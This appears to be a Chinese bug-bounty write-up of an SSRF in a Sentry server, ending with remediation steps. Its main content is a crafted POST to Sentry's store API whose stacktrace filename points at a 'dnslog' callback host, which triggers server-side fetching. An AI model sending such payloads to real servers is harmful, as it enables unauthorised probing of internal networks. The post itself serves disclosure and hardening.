0x01前言
文章末尾领取资料
POST /api/1/store/?sentry_version=7&sentry_client=raven-js%2f3.15.0&sentry_key=xxxxxxxxxxxxxxxxxxxxxxx11d0f87 HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Content-type: application/json
Origin:https://xxx.xxx.xxx.xxx
{
"project"
:
"30"
,
"logger"
:
"javascript"
,
"platform"
:
"javascript"
,
"exception"
:{
"values"
:[{
"type"
:
"Error"
,
"value"
:
"Trying to get control scope but angular isn't ready yet or something like this"
,
"stacktrace"
:{
"frames"
:[{
"filename"
:
"http://dnslog/"
,
"lineno"
:110,
"colno"
:81071,
"function"
:
"xmlHttpRequest.o"
,
"in_app"
:
true
}]}}]}}
修复方式:
- sentry关闭 source code scrapping;
- 保证配置文件中的黑名单不为空:/sentry/conf/server.py
- 关闭源码抓取,隐藏sentry_key
原文始发于微信公众号(渗透安全HackTwo):记录一次某SRC的SSRF挖掘-top10漏洞挖掘
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论